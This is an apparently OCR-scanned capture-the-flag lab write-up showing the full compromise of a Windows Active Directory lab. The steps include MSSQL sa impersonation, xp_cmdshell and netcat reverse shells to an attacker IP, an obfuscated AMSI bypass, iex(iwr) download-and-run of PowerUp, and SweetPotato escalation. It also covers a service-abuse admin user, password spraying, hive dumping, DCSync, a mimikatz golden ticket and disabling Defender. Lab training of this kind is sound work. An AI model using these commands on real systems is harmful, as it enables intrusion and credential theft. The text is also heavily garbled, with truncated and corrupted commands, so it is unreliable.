Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx
Author : Scott Sutherland (@_nullbind), NetSPI 2016
We have impersonation privilege over sa account as zabbix user. To exploit this we can impersonate the
sa account and add zabbix user into the sysadmin group.
eee
*Evil-WinRM* PS C:\Users\marcus\Documents> Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXECUTE AS
LOGIN = 'sa';EXEC sp_addsrvrolemember ‘zabbix','sysadmin'" -username zabbix -password rDhHbBEfh35sMbkY
Column1
Now we can enable xp_cmdshell and gaina shell on the zPH-SVRSQLO1 server.
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXEC sp_configure 'show advanced
eo
nt service\mssqlserver
We start a local Python3 web server and upload netcat to the target.
# Local
sudo python3 -m http.server 80
# Evil-—WinRM shell
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXEC master..xp_cmdshell
DhHbBEfhH35sMbkY
Set up a netcat listener on port 443 and then using the SQL query, we trigger the netcat reverse shell.
sudo nc -lvnp 80
Listening on [any] 80
connect to [10.10.14.15] from (UNKNOWN) [10.10.110.35] 7333
Microsoft Windows [Version 10.0.17763.3770]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoamt
nt service\mssqlserver
@ee@
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
This allows us to privilege escalate using SweetPotato. We compile the exploit and upload it to the target
along with our previously generated shell.exe for Metaploit.
c:\windows\temp\NtApiDotNet.dll
Checking our metasploit console we see that we have triggered the payload and we can read the flag
locatedat c:\users\administrator\desktop\flag.txt.
eee
C:\Windows\system32>type c:\users\administrator\desktop\
flag. txt
ZEPHYR{SQLi_2_Imp3rs0n4710n_ fun}
The Mis sing Link
Going back to our marcus Shell, we enumerate the MSSQL instance and discover that there is a linked
server.
ee°08
*Evil-WinRM* PS C:\Us ers\marcus\Documents> Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXEC sp_linkedservers;" -username zabbix
-password rDhHbBEfh35 sMbkY -Verbose
Verbose: ZPH-SVRSQLO1 -zsm.local : Connection Success.
SRV_NAME : ZPH-SVRSQLO1
SRV_PROVIDERNAME : SQLNCLI
SRV_PRODUCT : SQL Server
SRV_DATASOURCE : ZPH-SVRSQLO1
SRV_PROVIDERSTRING :
SRV_LOCATION
SRV_CAT
SRV_NAME : ZSM-SVRCSQLO2
SRV_PROVIDERNAME : SQLNCLI
SRV_PRODUCT : SQL Server
SRV_DATASOURCE : ZSM-SVRCSQLO2
SRV_PROVIDERSTRING :
SRV_LOCATION
SRV_CAT
The control we have control over zSM-SVRCSQL02 by executing a command on that linked server to retrieve
the server name.
rDhHbBEfh35sMbkY —-Verbose
@ @ ¢
ZSM-SVRCSQLO 2
Using the same methodology as before, we could activate xp_cmdshell and trigger remote code execution
on the target.
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXECUTE AS LOGIN = 'sa'; EXECUTE
Verbose
rDhHbBEfh35sMbkY —-Verbose
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXECUTE AS LOGIN = 'sa'; EXECUTE
Verbose
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXECUTE AS LOGIN = 'sa'; EXECUTE
rDhHbBEfhH35sMbkY —-Verbose
output
internal\mssgql_svc
Using the same technique as before we start a Python3 web server on port 443 and grab netcat.
# Local
sudo python3 -m http.server 443
# Evil-WinRM shell
Get-SQLQuery -Instance ZPH-SVRSQLO1.zsm.local -Query "EXECUTE AS LOGIN = 'sa'; EXECUTE
rDhHbBEfh35sMbkY
Close the web server down and start a netcat listener on port 443 then execute the reverse shell.
C:\Windows\system32>whoamt
internal\mssql_svc
Checking
the whoami /priv output
shows again we have the SeImpersonatePrivilege enabled, using
the same technique before we can fully compromise the system. Start a Python3 web server on port 443
and get the reverse shell and sweetPotato executables.
Switch our metasploit console, background the current session, run the listener and then execute the
shell.
eee
C:\Windows\system32>type c:\users\administrator\Desktop\flag.txt
ZEPHYR{GOtt4_Link_Up_ 4m_1 righ7?}
Tweaked
At this stage we upload sharpHound and download the zip file created to import to BloodHound. After
importing we look up the mssql_sve account and see there is a plaintext password that's been left in the
description field.
= MSSQL_SVC@INTERNAL.ZSM.LOCAL A kK Y
Enabled True
Description ToughPasswordToCrack123!
AdminCount False
Compromised False «4
ae True MSSQL_SVC@INTERNAL.ZSM.LOCAL
Never
Expires
Cannot Be False
Delegated
ASREP False
Roastabie
Checking the BloodHound output we look for all domain users that we can attempt to spray against.
ADMINISTRATOR@INTERNAL.
KRBTGT@INTERNAL.ZSM._
MELISSA@INTERNAL.ZSM.L
LAURA@INTERNAL.ZSM.LOCAL
f
STEVEN@INTERNAL.ZSM.LOCAL
f
EMILY@INTERNAL.ZSM.LOCAL
=— CO)
MemberOf ——
MATT@INTERNAL.ZSM.LOCAL qa ee USERS@INTERNAL.ZSM.LOCAL
MemberOf
t
JAMIE@INTERNAL.ZSM.LOCAL
member
'
ARON@INTERNAL.ZSM.LOCAL
MALCOLM@INTERNAL.ZSM.LO!
MSSQL_SVC@INTERNAL.ZSM |)
SARAH@INTERNAL.ZSM.
AMY@INTERNAL.ZSM.LOCAL
We create a user wordlist containing all the found usernames and attempt a password spray on the HR and
support machines.
internal.zsm.local
@ @;
This is successful with aron username. Let's login to the machine using WinRM.
ee
*Evil-WinRM* PS C:\Users\aron\Documents>
Referring back to BloodHound we see that aron isa part of SERVICE MANAGEMENT group within the
domain.
———
&
DOMAIN USERS@INTERNAL.ZSM.LOCAL
d
ARON@INTERNAL.ZSM.LOCAL
&
VICE MANAGEMENT@INTERNAL.ZSM.LOCA
SEMUES See SEES
&
HR@INTERNAL.ZSM.LOCAL
wget
upload PowerUp.psl
To prevent script being flagged we bypass AMSI then import PowerUp.
ring ([Convert]::FromBase64String
('QQOBt AHMAaQBVAHQAaQBSAHMA')))) .GetField($([Text.Encodi
ng]::Unicode.GetString([Convert]
::FromBase64String (' YOBtAHMAaQBJAG 4AaQBOAEYAYQBpAGWAZQB
kAA=='))),'NonPublic,
Static') .SetValue ($null, $true)
.\PowerUp.psl
(or)
iex(iwr http://10.10.14.15/PowerUp.psl -UseBasicParsing)
Invoke-AllChecks
Oe
We need to gain an interactive shell, to do that we upload RunAsCs.exe along with net cat and execute a
shell.
# Evil-WinRM shell
upload RunAsCs.exe
upload nc64.exe
# Locally
sudo nc —-lvvp 80
# Evil-WinRM shell
.\RunAsCs.exe -l 3 aron ToughPasswordToCrack123! -d internal.zsm.local
sudo nc -lvnp 80
Listening on [any] 80
connect to [10.10.14.15] from (UNKNOWN) [10.10.110.35] 41098
Microsoft Windows [Version 10.0.20348.1366]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoamt
internal\aron
ng]::Unicode.GetString([Convert]
::FromBase64String (' YOBtAHMAaQBJAG 4AaQBOAEYAYOBpAGWAZQOB
kAA=='))),'NonPublic,
Static') .SetValue ($null, $true)
.\PowerUp.psl
Invoke-AllChecks
eee
PS C:\Users\aron\Documents> Invoke-AllChecks
ServiceName : wuauserv
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunctton : Invoke-ServiceAbuse -Name 'wuauserv'
CanRestart : True
Name > wuauserv
Check : Modifiable Services
<SNIP>
Knowing we can abuse these service files we can use the provided syntax to exploit it.
ServiceAbused Command
wuauserv net user john Password123! /add && net localgroup Administrators john /add
eee
| S-chain|-<>-127.0.0.1:1080-<><>-192.168.210.17:5985-<><>-0K
*Evil-WinRM* PS C:\Users\john\Documents> type c:\users\administrator\desktop\flag.
txt
ZEPHYR{S3rv1c3_M4n4g3m3nt_f41L5}
If this fails, exit powershell and issue below commands to abuse the service manually.
sc stop wuauserv
sc start wuauserv
Once this is issued, we've to exit and login to WinRM session to make the change effective.
eee
&
True SUPPORT@INTERNAL.ZSM.LOCAL
We can also see that melissa can PSRemote to the support machine.
@
MELISSA@INTERNAL.ZSM.LOCAL ZPH-SVRCSUP.INTERNAL.ZSM.LOCAL
Using the credentials we previously discovered in chrome on the zPH-SVRMGMT1 machine, we try to gain
WinRM access through Evil-WinRM.
eee
This fails. Going back to our shell on HR machine, we create a credential object for melissa, then access
the support machine with those credentials and try to read the flag.
Suser = 'internal\melissa'
Spasswd = 'WinterIsHere2022!'
$secpass = ConvertTo-SecureString $passwd -AsPlainText -Force
c:\users\administrator\desktop\flag.txt}
SVRCDCO1\C$ }
Access is denied
+ CategoryInfo : PermissionDenied: (\\ZPH-SVRCDC01\C$:String) [Get-ChildItem],
UnauthorizedAccessException
+ FullyQualifiedErrorid :
ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Cannot find path '\\ZPH-SVRCDC01\C$' because it does not exist.
This means we need to upgrade our shell with an interactive login. We upload RunAsCs.exe to the target
and use the following command using the -1 2 paramater value to force an interactive logon type which
allows us to access the share. We start up a local listener with netcat on port 80 then perform the
following commands on the target.
Checking our listener we get a shell aS melissa again, but this time when we try to access the share we are
granted access.
eee
sudo nc -lvnp 80
Listening on [any] 80 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.110.35] 22668
Microsoft Windows [Version 10.0.20348.1366]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>dir \\ZPH-SVRCDCO1\C$
Volume in drive \\ZPH-SVRCDCO1\C$ has no Label.
Volume Serial Number is 1C84-5AEF
Directory of \\ZPH-SVRCDCO1\C$
At this stage we need to download and compile the BackupOperatorToDA.exe and upload the executable
to the target.
mkdir ~/adlab
sudo smbserver.py share ~/adlab -smb2support
or
sudo impacket-smbserver share ~/adlab -smb2support
On the target, we now attempt to download the SAM, SECURITY and SYSTEM files from the domain
controller.
Checking our local SMB server we see that the target has authenticated.
eee
Since we now have the copy of the SAM, SECURITY and SYSTEM files fo the domain controller, we can dump
the hashes locally.
Using the machine account hash, we can perform a DCSync attack against the domain controller.
SVRCDCO0O1.internal.zsm.local -hashes
aad3b435b51404eeaad3b435b51404ee: 2c6f05a9bdbc32fbccd3270971d£968F
@ @
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Using the administrator hash, we can access the domain controller through Evil-winRm and obtain the
flag.
@e6c
# Evil-WinRM Shell
set-mppreference —disablerealtimemonitoring $true
upload mimikatz.exe
upload Rubeus.exe
upload RunAsCs.exe
# Locally
sudo nc -lvvp 80
# Evil-WinRM Shell
From our new shell, we begin the exploitation. We need to spawn mimikatz and get the parent domain
SID, the child domain SID and the RC4 of the trust.
mimikatz.exe
privilege: :debug
lsadump::trust /patch
o@
c:\Users\Administrator\Documents>mimikatz.exe
We have the child domain SID of s-1-5-21-3056178012-3972705859-491075245, the parent domain SID of
S-1-5-21-2734290894-461713716-141835440 but we need to add -519 to the end of the parent domain
SID which points to the Enterprise Administrators group. Next we need to generate a golden ticket with
mimikatz using the SIDs.
mimikatz.exe
3056178012-3972705859-491075245 /sids:S—-1-5-21-2734290894-461713716-141835440-519
User : Administrator
Domain : internal.zsm.local (INTERNAL)
SID : S-1-5-21-3056178012-3972705859-491075245
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-2734290894-461713716-141835440-519 ;
ServiceKey: 6da0338d077f031bbc07743427257a6a - rc4_hmac_nt
Service : krbtgt
Target : zsm.local
Lifetime : 28/12/2022 19:53:20 ; 25/12/2032 19:53:20 ; 25/12/2032 19:53:20
-> Ticket : trustkey.kirbi
PAC generated
PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated
Using Rubeus we can pass the ticket we just generated to gain access to CIFs of the parent domain
controller.
<SNIP>
ServiceName : CIFS/ZPH-SVRDCO1.zsm.
local
ServiceRealm > ZSM.LOCAL
UserName : Administrator
UserRealm : internal.zsm.local
StartTime > 28/12/2022 19:54:18
EndTime : 29/12/2022 05:54:18
RenewTill : 04/01/2023 19:54:18
Flags > Mmame_canonicalize, ok_as_delegate, pre_authent, renewable,
forwardable
KeyType : aes256_cts_hmac_shal
Base64( key) : SbYL4tkwrqU87/WvRdZmATIPt4tB+BONXpqS3h2Nzc8=
Checking klist we can see that we now have an administrator inter-realm ticket which we can use to
access the domain controller on the parent domain.
klist
dir \\ZPH-SVRDCO1.zsm.local\ecs
type \\ZPH-SVRDCO1.zsm.local\c$\users\administrator\desktop\flag.txt
e@
c:\Users\Administrator\Documents>klist
c:\Users\Administrator\Documents>dir \\ZPH-SVRDCO1.zsm.local\c$
# Locally
sudo nc -lvvp 80
# Administrator Shell
SVRDCO1.zsm.local /ptt
invoke-command -computername ZPH-SVRDC01.zsm.local -ScriptBlock {powershell iwr
http://10.10.14.15:443/nc64.exe -O c:\windows\temp\nc64.exe}
Invoke-Command -ComputerName ZPH-SVRDC0O1.zsm.local -ScriptBlock
sudo nc -lvnp 80
Listening on [any] 80
connect to [10.10.14.15] from (UNKNOWN) [10.10.110.35] 45907
Microsoft Windows [Version 10.0.20348.1366]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Administrator. INTERNAL\Documents>hostname
ZPH-SVRDCO1
Disable Windows Defender and upload our shell.exe, make sure to Start a listener on our existing
metasploit console.
# Metasploit console
background
run
# DC shell
powershell
meterpreter >
Let's check the running process on the system. It can be seen that zsm\administrator hasan existing
session on the domain controller. We migrate to that process and enter a shell to check the klist again.
ee0e
meterpreter > ps
Process List
[System Process]
System
<SNIP>
4324 652 svchost.exe C:\Windows\System32\svchost.exe
4 r < re >| : 5
C:\Users\Administrator>klist
Thinking back about all the machines that we have compromised on the network, we remember that we
have not accessed ADFS machine at all. With our current kerberos tickets, we can read the flag from the
ZPH-SVRADFS1 system completing the lab.
type \\ZPH-SVRADFS1\C$\users\administrator\desktop\flag.txt
ee
C:\Users\Administrator>type \\ZPH-SVRADFS1\C$\users\administrator\desktop\
flag. txt
ZEPHYR{C4n7_FOrg3t_abOu7_7h1s_0n3}